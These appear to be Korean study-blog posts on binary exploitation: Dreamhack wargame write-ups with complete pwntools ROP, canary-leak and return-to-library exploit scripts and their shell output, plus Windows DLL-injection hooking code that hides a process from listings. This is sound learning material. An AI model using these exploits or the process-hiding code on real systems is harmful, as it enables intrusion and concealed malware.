payload += p64(pop_rdi)+p64(read_got+8)
payload += p64(ret)+p64(read_plt)

# read 
p.sendafter(b'Buf: ',payload)
read = u64(p.recv(6)+b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
log.info(hex(read))
log.info(hex(lb))
log.info(hex(system))

p.send(p64(system)+b'/bin/sh\x00')
p.interactive()

결과

[+] Opening connection to host1.dreamhack.games on port 19470: Done
[*] '/home/li-sh/Desktop/dreamhack/rop/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/home/li-sh/Desktop/dreamhack/rop/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Loaded 14 cached gadgets for './rop'
[*] 0xa8dcc8aa6ebf5900
[*] 0x7fa860186980
[*] 0x7fa860072000
[*] 0x7fa8600c2d60
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{***************************}

이 원리 이해하는 데 엄청 오래 걸렸다. 특히 "read(0,read_got,...)에서 입력을 받아야 하는데 언제 입력을 받지?" 이거 때문에 엄청 헷갈렸던 것 같다. 그리고 libc, plt, got 주소가 서로서로 헷갈리게 사용하고 있었던 것도 헷갈린 요소였다. 결론 : 원리를 이해해도 다양한 문제에 적용 할 수 있게 다양한 문제들로 연습해야 겠다.

함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 에필로그에서 값의 변조를 확인하여 버퍼 오버플로우를 막는 보호 기법.

📌 Canary 유무 비교

1. checksec으로 활성화된 보호 기법 확인 확인해 보면 Canary, RELRO, PIE가 적용되어있는 것을 확인 할 수 있다.

2. 함수의 프롤로그와 에필로그 확인 Canary가 적용되기 전과 후의 코드를 비교하면 아래의 코드들이 추가되었다.

   • 프롤로그
   • 에필로그

📢 코드 분석

프롤로그 코드를 보면 fs 레지스터가 나온다.이 fs:0x28에 랜덤한 값이 생성되고 그 값을 rax에 저장된다. 다시 rax값은 rbp-0x8에 저장된다.

fs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터로, 리눅스에서는 TLS(Thread Local Storage)를 가리키는 포인터로 사용한다.

에필로그 코드를 보면 rbp-0x8에 저장한 fs:0x28 값을 rcx에 저장한다. 그리고는 rbp-0x8과 fs:0x28값을 xor 시킨다. xor을 하였을 때, 두 값이 같으면 ZF=1이 될 것이고, 다르면 ZF=0이 나올 것이다. 이 값으로 JE 분기구문을 실행해서 만약 두 값이 같으면(변조가 되지 않았으면) 버퍼 오버플로우가 일어나지 않은 것으로 간주한다. 다르면 버퍼 오버 플로우가 일어난 것으로 간주하고 __stack_chk_fail@plt를 실행하고 프로세스가 강제 종료된다.

📌 Canary 생성 과정

앞에서 살펴봤듯이, fs:0x28에 저장되고, fs는 TLS를 가리킨다. 우리는 fs의 주소를 알면 canary값을 구할 수 있고, 이를 통해 Canary 보호 기법을 우회 할 수 있다. 그러나 fs는 cs,ss,ds와 같이 info register fs나 print $fs를 통해 값을 알 수 없다.

따라서 우리는 fs값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 fs에 어떤 값으로 설정되는지 확인할 수 있다.

catch syscall arch_prctl 명령어를 gdb에 입력하여 TLS 과정까지 진행한다.

이 TLS 과정에서 RDI = 0x1002를 가리키는데 이 값은 ARCH_SET_FS의 상수값이다. 그리고 RSI = 0x7ffff7fa8740을 가리키는데 이 값이 fs를 가리키게 되는 값이다.

📌 Canary 우회 관련 워게임 Write Up

해당 문제는 드림핵의 Return to Shellcode 문제를 Write up 한 것이다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

📢 코드 분석

printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

이 코드를 통해 buf의 주소, rbp와 buf사이의 주소 차이를 확인 한다.

read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

이 코드에서 buf는 0x50의 크기인데 0x100을 입력 받기 때문에 버퍼 오버플로우가 발생한다는 것을 알 수 있다.

📢 익스플로잇 설계

[1] Leak the canary 부분에서 Buf를 0x58만큼 dummy 값을 입력하여 Canary 직전까지 입력한다음, Canary값을 printf 문을 통해 입력받는다. [2] Overwrite the return address 부분을 통해 Buf에 쉘코드를 입력하고, Canary, SFP를 모두 적절하게 입력한다. 그리고 RET 주소에 buf 주소를 입력하여 쉘코드를 실행시킨다. 이런 알고리즘으로 익스플로잇 코드를 작성하면 아래와 같다.

# r2s.py
from pwn import *

def slog(name,addr): return success(' : '.join([name,hex(addr)]))

context.arch = "amd64"
p = remote("host1.dreamhack.games", 16192)
shellcode = asm(shellcraft.sh())

p.recvuntil(b'buf: ')
buf =  int(p.recvline()[:-1],16)    
slog('buf',buf)

p.sendafter(b'Input: ',b'A'*89)
p.recvuntil(b"A" *89)
canary = u64(b"\x00" + p.recv(7))
slog('canary',canary)

payload = shellcode
payload += b'A'*(88-len(shellcode))
payload += p64(canary)
payload += b'A'*8
payload += p64(buf)

p.sendafter(b'Input: ',payload)
p.interactive()

결과

[+] Opening connection to host1.dreamhack.games on port 16192: Done
[+] buf : 0x7ffc49d28070
[+] canary : 0xb57808214d199e00
[*] Switching to interactive mode
$ ls
$ ls
flag
r2s
$ cat flag
DH{***************************}
[*] Got EOF while reading in interactive

문제 풀다보니 알고리즘은 문제가 없는데, sendlineafter랑 sendafter 등등을 혼용해서 사용하면 가끔식 잘못 페이로드가 보내진다. 이에 주의해서 사용하자.

스택에 NX(No eXecutable stack) 보안 기법이 적용되었을 때 사용하는 공격 기법이다.

📢 배경

NX 보안 기법은 "스택에서 코드 실행 불가"라는 제약 조건을 만들었고, 이로 인해 스택에서 shellcode를 삽입하고 RET 주소에 overwrite했던 'Return to Shellcode' 기법은 실패하게 된다.

📢 간단 동작 원리

1줄 요약

• 공유 라이브러리 함수의 주소를 가져와 RET에 overwrite하고 이를 호출하는 공격 기법 --> 스택에서 사용하는 것이 아닌 메모리에 적재되어 있는 라이브러리를 사용하는 것이기 때문에 NX 우회 가능

📢 예제 Write-up

해당 문제는 Dreamhack의 Return to library의 문제를 write-up 한 과정이다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

이 C코드를 보면 buf의 크기는 0x30인데 read할때는 0x100으로 읽는다. 이를 통해 BOF가 발생할 수 있고 이를 기반으로 우회 기법의 종류를 파악해야 한다.

해당 c코드의 응용 프로그램 파일에 사용된 기법을 보면 아래와 같다.

***@***-virtual-machine:~/바탕화면/dreamhack$ checksec ./rtl
[*] '/home/***/바탕화면/dreamhack/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Canary와 NX기법이 적용되어있다.

// Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

이 코드를 통해 buf ~ canary+1까지 dummydata를 넣고 그 이후의 값을 읽어 들이면 canary의 값을 읽어들일 수 있을 것이다. 이를 통해 Canary 기법을 우회할 수 있다.

// Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

Canary값을 알았으면 이제 return to library 값을 입력한다. 정상적인 스택값과 RTL 공격을 위한 BOF 스택 구조를 비교하면 아래와 같다.

----------------------------
|       buf ( 48 bytes)    |
----------------------------
|       SFP ( 8 bytes)     |
----------------------------
|          RET             |
----------------------------
|          ....            |
----------------------------

----------------------------
|       buf (48 bytes)     |
----------------------------
|       Canary (8 bytes)   |
----------------------------
|       SFP (8 bytes)      |
----------------------------
|       RET (8 bytes)      |
----------------------------
|         /bin/sh          |
----------------------------

해당 RTL 관련 동작 원리는 아래 사이트에 가면 굉장히 자세하게 설명해준다. RTL 공격 기법의 원리를 이해하려면 leave와 ret 명령어를 잘 보면서 따라가기를 바란다. 아래는 Canary와 RTL 과정을 우회하기 위한 스택 구조를 그린 것이다.

--------------------------
|       'A' * 56        | --> buf (56 byte)
--------------------------
|    0x00 + canary      |
--------------------------
|       'B' * 8         |  --> SFP
--------------------------
|          ret          |
--------------------------
|     pop rdi; ret      |
--------------------------
|       "/bin/sh"       |
--------------------------
|     system@plt        |
--------------------------

이 때 'ret 없이 pop rdi; ret을 사용하면 되지 않을까?' 싶지만 스택은 0x10단위로 정렬되어야 한다. 정렬되지 않으면 'segmentation fault'가 일어난다. 따라서 해당 payload를 만들어서 pwntools를 이용해서 익스플로잇하면 성공적일 것으로 예상된다.

from pwn import *

# p = process('./rtl')
p = remote("host1.dreamhack.games",16424)
e = ELF('./rtl')
r = ROP(e)

def slog(name,addr): return success(': '.join([name,hex(addr)]))

# [1] Leak Canary
buf = b'A'*0x39
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog('canary',canary)

# [2] address
system_plt = e.plt['system']
binsh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt",system_plt)
slog("/bin/sh",binsh)
slog("pop rdi",pop_rdi)
slog("ret",ret)

# [3] exploit
payload = b'A'*0x38 + p64(canary) + b'B' * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter(b'Buf: ',payload)

p.interactive()

해당 익스플로잇 코드를 이용해서 진행하면 아래와 같은 결과가 나온다.

'/home/***/바탕화면/dreamhack/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0x8debe702db062b00
[+] system@plt: 0x4005d0
[+] /bin/sh: 0x400874
[+] pop rdi: 0x400853
[+] ret: 0x400285
[*] Switching to interactive mode
$ ls
flag
rtl
run.sh

flag를 보면 DH값이 나온다.

RTL 원리를 이해하기 위해 참고했던 자료.

1. https://rninche01.tistory.com/entry/RTLReturn-To-Libc

해당 예제를 가장 잘 설명한 자료

1. https://jjeongsu.tistory.com/39

📢 조건

1. 현재 실행 중인 모든 프로세스에 대해 API 후킹
2. 앞으로 실행될 모든 프로세스에 대해 API 후킹

📢 프로세스 생성 API

1. kernel32.CreateProcess() : 새로운 프로세스를 생성할 때 사용되는 API

   BOOL CreateProcessA(
   [in, optional]      LPCSTR                lpApplicationName,
   [in, out, optional] LPSTR                 lpCommandLine,
   [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
   [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
   [in]                BOOL                  bInheritHandles,
   [in]                DWORD                 dwCreationFlags,
   [in, optional]      LPVOID                lpEnvironment,
   [in, optional]      LPCSTR                lpCurrentDirectory,
   [in]                LPSTARTUPINFOA        lpStartupInfo,
   [out]               LPPROCESS_INFORMATION lpProcessInformation
   );

   BOOL CreateProcessW(
   [in, optional]      LPCWSTR               lpApplicationName,
   [in, out, optional] LPWSTR                lpCommandLine,
   [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
   [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
   [in]                BOOL                  bInheritHandles,
   [in]                DWORD                 dwCreationFlags,
   [in, optional]      LPVOID                lpEnvironment,
   [in, optional]      LPCWSTR               lpCurrentDirectory,
   [in]                LPSTARTUPINFOW        lpStartupInfo,
   [out]               LPPROCESS_INFORMATION lpProcessInformation
   );

   이 때 CreateProcessA는 ASCII 버전, CreateProcessW는 유니코드 버전 --> 두 API 모두 후킹에 사용해야한다.

2. WinExec(),ShellExecute(), system() : 프로세스를 실행시키는 프로세스

--> 내부적으로 CreateProcess() API를 실행시킨다. --> CreateProcess() API를 후킹하는 것이 low-level hooking에 해당하므로 더 성공률이 높다.

📢 소스 코드 분석

stealth2.cpp --> DllMain

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;

    // HideProc2.exe 프로세스에는 인젝션 되지 않도록 예외처리
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, '\\');
    if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
        return TRUE;

    // change privilege
    SetPrivilege(SE_DEBUG_NAME, TRUE);

    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH : 
            // hook
            hook_by_code("kernel32.dll", "CreateProcessA", 
                         (PROC)NewCreateProcessA, g_pOrgCPA);
            hook_by_code("kernel32.dll", "CreateProcessW", 
                         (PROC)NewCreateProcessW, g_pOrgCPW);
            hook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                         (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
            break;

        case DLL_PROCESS_DETACH :
            // unhook
            unhook_by_code("kernel32.dll", "CreateProcessA", 
                           g_pOrgCPA);
            unhook_by_code("kernel32.dll", "CreateProcessW", 
                           g_pOrgCPW);
            unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", 
                           g_pOrgZwQSI);
            break;
    }

    return TRUE;
}

stealth.cpp와 비교했을 때, ZwQuerySystemInformation뿐만 아니라, CreateProcess 함수도 후킹하고 있다.

📢 핫 패치 방식의 API 후킹

핫 패치 : 프로세스가 실행중인 상태에서 라이브러리를 프로세스 메모리에서 일시적으로 변경하는 것

기존 5바이트 코드 패치 방식은 반복적인 훅/언훅 과정으로 인해 성능이 저하될 뿐만 아니라, 멀티스레드에서 Run-Time Error가 발생할 수 있다. 에러의 이유는 한 스레드에서 코드를 실행하려고 할 때, 다른 스레드가 같은 코드에 쓰기 시도를 하면서 충돌이 발생할 수 있기 때문이다.

핫 패치 방식은 7바이트 코드 패치 방식으로 보통 코드 시작전 주소에 의미 없는 명령어들이 있는데 그 부분을 채우면서 시작하는 방식이다. 이렇게 되면 EIP가 바로 다음 줄 코드이기 때문에 훅/언훅 과정이 필요가 없게 된다.

📢 핫 패치 방식의 고려 사항

제약 조건(NOP * 5 + MOV EDI,EDI)이 만족되지 않으면 방식이 성립이 안되므로 5바이트 코드 패치 기법을 사용해야 한다.

📢 CreateProcess API의 특징 및 한계

1. kernel32.CreateProcessA와 kernel32.CreateProcessW를 모두 후킹한다.
2. 이 때 CreateProcess API들은 모두 내부적으로 CreateProcessInternal API들을 호출한다. 이 말은 즉, CreateProcessInternal API들이 low-level-hooking 방법이다.
3. CreateProcess로 생성된 프로세스들에게도 자동적으로 바로 API 후킹을 걸어야 하는데, 아주 짧은 시간 동안 자식 프로세스가 후킹되지 않은 채로 실행 될 수 있다.

📢 Ntdll.ZwResumeThread() API

DWORD ZwResumeThread(
  [in] HANDLE ThreadHandle,
  [out] PULONG SuspendCount OPTIONAL
);

ZwResumeThread API는 윈도우 Native API로, undocumented API이다. 해당 API는 프로세스가 생성된 후, 메인 스레드 실행 직전에 호출되는 함수이다. 이 함수로 API 후킹을 하면 자식 프로세스가 하나도 실행되지 않은 상태에서 API를 후킹할 수 있다.

📢 IAT Hooking vs Code Patch

• IAT Hookin : 프로세스의 특정 IAT 값을 조작하여 후킹하는 방식
• Code Patch : 실제 API 코드 시작 5바이트 값을 'JMP XXXXXXXX' 명령어로 패치하는 방식

📢 API Hooking 후 코드 동작 과정

1. 00422CF7에서 IAT의 주소인 48C69C에서 가리키는 값인 7C93D92E로 간다. 해당 주소는 ntdll.dll의 주소이다.
2. 7C93D92E에 가면 'JMP 10001120' 명령어에 의해 stealth.dll 주소로 이동한다.
3. 코드를 진행하다가 'CALL unhook()' 명령어가 나오는 데 그 이유는 원래 7C93D92E에 있던 'JMP 10001120'으로 덮어쓰기 이전 코드로 복원하여 프로그램에 이상이 생기지 않게 하기 위함이다.
4. 'CALL EAX' 명령어를 통해 ntdll.dll의 7C93D92E 주소로 이동하여 코드를 수행한다.
5. 7C93D93A의 'RETN 10'의 명령어를 만나면 자신을 호출한 위치로 리턴된다. 해당 위치는 'CALL EAX'에 의해 호출되었으므로 그 이후 코드인 'CALL hook()' 명령어로 리턴된다.
6. 'CALL hook()' 명령어를 수행하는 데 그 이유는 다시 API 후킹된 상태로 유지시키기 위함이다.
7. 1001233의 'RETN 10' 명령어에 의해 자신을 호출한 위치인 procexp.exe로 리턴된다
   • 주의해야 할 사항 : 처음에는 리턴해야 한다고 할 때 원래 ntdll에서 점프해서 온 것이니까 ntdll 쪽으로 가야 하는 것이 아닌가 생각했었지만, CALL이 아닌 JMP 명령어를 통해 온 것이므로 엄밀히 따지면 JMP는 호출이 아닌 직접 이동한 것이다. 따라서 호출된 곳은 procexp.exe이다.

📌 Stealth 기능

📢 관련 API

1. ZwQuerySystemInformation

   NTSTATUS WINAPI ZwQuerySystemInformation(
   _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
   _Inout_   PVOID                    SystemInformation,
   _In_      ULONG                    SystemInformationLength,
   _Out_opt_ PULONG                   ReturnLength
   );

   ZwQuerySystemInformation API를 사용하는 이유

• 이 API를 이용하면 실행 중인 모든 프로세스의 정보(구조체)를 연결 리스트 형태로 얻을 수 있다.
• 즉, 이 연결 리스트를 조작할 수 있다면, 원하는 프로세스를 은폐(Stealth)시킬 수 있다.

2. CreateToolHelp32Snapshot & EnumProcesses

   HANDLE CreateToolhelp32Snapshot(
   [in] DWORD dwFlags,
   [in] DWORD th32ProcessID
   );

   BOOL EnumProcesses(
   [out] DWORD   *lpidProcess,
   [in]  DWORD   cb,
   [out] LPDWORD lpcbNeeded
   );

   이 2가지 API는 모두 내부적으로 ntdll.ZwQuerySystemInformation() API를 사용한다. 즉 ZwQuerySystemInformation() API가 이 2가지 API보다 low-level-Hooking 방법이다. 따라서 두 API를 사용해도 되지만, ZwQuerySystemInformation을 직접 후킹하는 것이 더 성공 확률이 높아진다.

📌 Global Hooking (1)

📢 배경

1. 모든 프로세스 검색 유틸리티에 대해서 Stealth 기능 API를 후킹하여야 한다.
2. 후킹한 프로세스가 한 개 더 생성되면, 그 프로세스에는 Stealth가 되지 않을 것이다. --> 두 번째 실행된 프로세스에는 후킹이 되지 않았으므로

📢 정의

프로세스를 완전히 숨기기 위해 시스템에 실행 중인 모든 프로세스에 대해 ZwQuerySystemInformation() API를 후킹하고, 추가적으로 나중에 실행될 프로세스에 대해서도 후킹이 자동적으로 진행되게끔 하는 후킹 방법이다.

📢 소스코드 분석

1. HookProc.cpp -> InjectAllProcess()

   BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
   {
    DWORD                   dwPID = 0;
    HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32          pe;
   
    // 시스템의 snapshot 확보
    pe.dwSize = sizeof( PROCESSENTRY32 );
    // ZwQuerySystemInformation의 high-level hook process 사용
    hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
   
    // 프로세스 찾기 --> 프로세스의 PID를 찾는다.
    Process32First(hSnapShot, &pe);
    do
    {
        dwPID = pe.th32ProcessID;
   
        // 시스템의 안정성을 위해서
        // PID 가 100 보다 작은 시스템 프로세스에 대해서는
        // DLL Injection 을 수행하지 않는다.
        if( dwPID < 100 )
            continue;
   
        if( nMode == INJECTION_MODE )
            InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
    }
    while( Process32Next(hSnapShot, &pe) );
   
    CloseHandle(hSnapShot);
   
    return TRUE;
   }

   이 함수에서 사용된 Process32First, Process32Next 함수

   BOOL Process32First(
   [in]      HANDLE           hSnapshot,
   [in, out] LPPROCESSENTRY32 lppe
   );

   BOOL Process32Next(
   [in]  HANDLE           hSnapshot,
   [out] LPPROCESSENTRY32 lppe
   );

   두 함수를 이용하여 프로세스의 PID를 구한다.

2. stealth.cpp -> SetProcName() --> 데이터 전처리를 이용하여 정의하였다.

#pragma comment(linker, "/SECTION:.SHARE,RWS") // .SHARE 이름의 공유 메모리 섹션 생성하고 그 안에 g_szProcName 버퍼 생성 #pragma data_seg(".SHARE") TCHAR g_szProcName[MAX_PATH] = {0,}; #pragma data_seg()

#ifdef __cplusplus extern "C" { #endif // 은폐하고자 하는 프로세스의 이름을 입력받아서 g_szProcName에 붙여넣기 __declspec(dllexport) void SetProcName(LPCTSTR szProcName) { _tcscpy_s(g_szProcName, szProcName); } #ifdef __cplusplus } #endif

stealth.cpp -> DllMain()

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { char szCurProc[MAX_PATH] = {0,}; char *p = NULL;

// 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
    return TRUE;

switch( fdwReason )
{
    // API Hooking
    case DLL_PROCESS_ATTACH : 
    hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                 (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
    break;

    // API Unhooking 
    case DLL_PROCESS_DETACH :
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                   g_pOrgBytes);
    break;
}

return TRUE;

}

hook_by_code와 unhook_by_code는 훅과 언훅을 담당하는 코드이다. 가장 중요한 부분은 NewZwQuerySystemInformation이다.

NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,};

// 작업 전에 언훅
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

// original API 호출
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), 
                       DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
          (SystemInformationClass, SystemInformation, 
          SystemInformationLength, ReturnLength);

if( status != STATUS_SUCCESS )
    goto __NTQUERYSYSTEMINFORMATION_END;

// SystemProcessInformation 인 경우만 작업함
if( SystemInformationClass == SystemProcessInformation )
{
    // SYSTEM_PROCESS_INFORMATION 타입 캐스팅
    // pCur 는 single linked list 의 head
    pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

    while(TRUE)
    {
        // 프로세스 이름 비교
        // g_szProcName = 은폐하려는 프로세스 이름
        // (=> SetProcName() 에서 세팅됨)
        if(pCur->Reserved2[1] != NULL)
        {
            if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
            {
                // 연결 리스트에서 은폐 프로세스 제거
                if(pCur->NextEntryOffset == 0)
                    pPrev->NextEntryOffset = 0;
                else
                    pPrev->NextEntryOffset += pCur->NextEntryOffset;
            }
            else        
                pPrev = pCur;
        }

        if(pCur->NextEntryOffset == 0)
            break;

        // 연결 리스트의 다음 항목
        pCur = (PSYSTEM_PROCESS_INFORMATION)
                ((ULONG)pCur + pCur->NextEntryOffset);
    }
}

__NTQUERYSYSTEMINFORMATION_END:

// 함수 종료 전에 다시 API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
             (PROC)NewZwQuerySystemInformation, g_pOrgBytes);

return status;

}

아까 봤던 stealth.MyZQSI code의 과정 동작원리와 똑같이 흐른다. 중요한 부분은 SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 프로세스 이름(pCur->Reserved2[1])을 비교하는 과정이다. 여기서 SYSTEM_PROCESS_INFORMATION 구조체는 아래와 같다.

typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; BYTE Reserved1[48]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

이 구조체는 사용자 커스텀 함수가 아닌 Window Programming에서 사용되는 구조체 중 하나이다. ZwQuerySystemInformation API를 호출하면, SystemInformation 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 단방향 연결 리스트의 시작 주소가 저장된다. 이 구조체 연결 리스트에 모든 프로세스의 정보가 담겨있다. 따라서 이 연결리스트에서 은폐하고자 하는 프로세스를 찾아서 연결을 끊어버리면 된다.

📢 process & remote

process : 익스플로잇을 로컬 바이너리(응용 프로그램)를 대상으로 할 때 사용하는 함수 remote : 원격 서버를 대상으로 사용하는 함수

from pwn import *
p = process('./test')    # test 바이너리 파일을 대상으로 익스플로잇 수행
p = remote('example.com',31337)    # 'example.com'의 31337 포트로 실행 중인 프로세스를 대상으로 익스플로잇

📢 send

send : 데이터를 프로세스에 전송하기 위해 사용

from pwn import *
p = process('./test')

p.send(b'A')    #./test에 b'A'를 입력
p.sendline(b'A)    #./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello',b'A')    #./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello',b'A')    #./test가 b'hello'를 출력하면, b'A'+b'\n'을 입력

📢 recv

recv : 프로세스에서 데이터를 받기 위해 사용

from pwn import *
p = process('./test')

data = p.recv(1024)    # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()    # p가 출력하는 데이터를 개행 문자를 만날 때가지 받아서 data에 저장
data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')    # p가 출력하는 데이터를 b'hello'를 출력할 때까지 받아서 data에 저장
data = p.recvall()    # p가 출력하는 데이터를 모둥 받아서 data에 저장

📢 packing & unpacking

Little Endian --> Bing Endian : unpacking Big Endian --> Little Endian : packing

from pwn import *

s32 = 0x41424344

print(p32(s32))
# 결과 : b'DCBA' : Little -> Big

s32 = b"ABCD"

print(hex(u32(s32)))
# 결과 : 0x4847464544434241 : Big -> Little

📢 interactive

interactive : 익스플로잇의 특정 상황에서 직접 입력을 주면서 출력을 확인하고 싶을 때 사용

from pwn import *
p = p.process('./test')
p.interactive()

📢 ELF

ELF : 리눅스 운영체제의 실행 파일 포맷인 ELF 헤더의 정보를 참조

from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts']    # ./test에서 puts()의 PLT 주소를 찾아서 puts_plt에 저장
read_got = e.got['read']    # ./test에서 read()의 GOT 주소를 찾아서 read_got에 저장
binsh = next(e.search(b'/bin/sh'))    #./test에서 '/bin/sh'의 주소를 찾아서 binsh에 저장

📢 context.log

context.log_level 변수로 레벨을 조절하여 context.log에 로그 작성

from pwn import *
context.log_level = 'error'    # error만 출력
context.log_level = 'debug' # 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info' # 비교적 중요한 정보들만 출력 --> 중요함의 기준이 뭘까?

📢 context.arch

코드를 어셈블, 디스어셈블 기능을 대상 컴퓨터 구조에 맞게 지정

from pwn import *
context.arch = "amd64"
context.arch = "i386"
context.arch = "arm"

📢 shellcraft

shellcraft : 자주 사용되는 shellcode를 쉽게 꺼내 쓸 수 있게 해줌

from pwn import *
context.arch = "amd64"

code = shellcraft.sh()    # shell을 실행하는 shell code
print(code)

# 결과
# $ python3 shellcraft.py
#     /* execve(path='/bin///sh', argv=['sh'], # envp=0) */
#     /* push b'/bin///sh\x00' */
#     push 0x68
#     mov rax, 0x732f2f2f6e69622f
#     ...
#     syscall

📢 asm

asm : 어셈블 기능( 어셈블리어 -> 기계어)

from pwn import *
context.arch = "amd64"

code = shellcraft.sh()
code = asm(code)    # shell code를 기계어로 어셈블
print(code)    

# 결과
# $ python3 asm.py
# b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

📢 fmtstr_payload()

fmtstr_payload : format string bug를 사용할 때 따로 페이로드 작성을 할 필요 없이 이 함수를 사용하면 바로 제작된다. 단, 항상 된다는 보장은 없으니 맹신하지는 말 것. format string bug 페이로드도 작성할 줄 알아야 한다.

from pwn import *

payload = fmtstr_payload(오프셋 인자, { 주소, 덮을 값})

📢 Canary Leak

Canary = u64(b'\x00' + p.recv(7))

이외 더 많은 함수들을 보고 싶으면 https://docs.pwntools.com/en/stable/globals.html 에서 찾아볼 것

